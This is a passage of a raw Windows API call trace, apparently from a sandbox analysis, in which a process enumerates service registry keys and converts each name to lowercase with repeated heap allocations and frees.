lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.808] 